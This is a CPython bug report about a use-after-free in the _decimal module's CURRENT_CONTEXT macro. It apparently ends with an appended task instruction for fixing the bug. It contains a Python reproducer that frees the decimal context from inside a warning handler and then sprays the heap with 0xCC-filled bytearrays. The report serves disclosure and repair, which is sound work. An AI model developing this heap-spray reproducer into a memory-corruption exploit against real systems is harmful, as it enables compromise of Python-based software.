`_decimal::CURRENT_CONTEXT`: UAF via borrowed reference across Python callbacks

Crash report

Originally reported by @PidSS as a security advisory

What happened?

The CURRENT_CONTEXT() macro in Modules/_decimal/_decimal.c:1951 obtains a new reference from PyContextVar_Get(), then immediately calls Py_DECREF, leaving a borrowed reference. If Python code executes before the context pointer is next used — via warning handlers, GC finalizers, instancecheck, etc. — and that code calls decimal.setcontext(), the old context is freed while C code still holds a dangling pointer. The macro is used at 20+ call sites covering virtually every decimal operation.

Original reproducer (I will try to make a shorter one):

import decimal, warnings, gc, sys, ctypes

gc.disable()
ctx = decimal.getcontext()
CTX_ID, CTX_SIZE = id(ctx), sys.getsizeof(ctx)
del ctx  # refcount = 1, held only by ContextVar HAMT

def evil_warning_handler(message, category, filename, lineno, file=None, line=None):
    if 'Format specifier' not in str(message):
        return
    ctx = decimal.getcontext()                       # refcount -> 2
    decimal.setcontext(decimal.Context(prec=999))    # HAMT ref dropped -> 1
    del ctx                                          # refcount -> 0, FREED
    spray = [bytearray(b'\xCC' * (CTX_SIZE - 32)) for _ in range(100000)]

warnings.showwarning = evil_warning_handler
warnings.filterwarnings('always', category=DeprecationWarning)
format(decimal.Decimal('123.456'), 'N')

FTR, I saw that we have this macro twice, but it depends on whether we have WITH_DECIMAL_CONTEXTVAR. If I build Python with --without-decimal-contextvar, I also have a crash so it's a bit weird.

Related but not with the same root cause: https://github.com/python/cpython/issues/146011.

CPython versions tested on:

CPython main branch

Operating systems tested on:

No response

Output from running 'python -VV' on the command line:

No response

Start in Modules/_decimal/_decimal.c at the CURRENT_CONTEXT macro around line 1951, then inspect its 20+ call sites and the second macro used without WITH_DECIMAL_CONTEXTVAR. Run the supplied warning-handler reproducer on a CPython main build. Done means the reproduced callback path no longer uses a freed context in either configuration.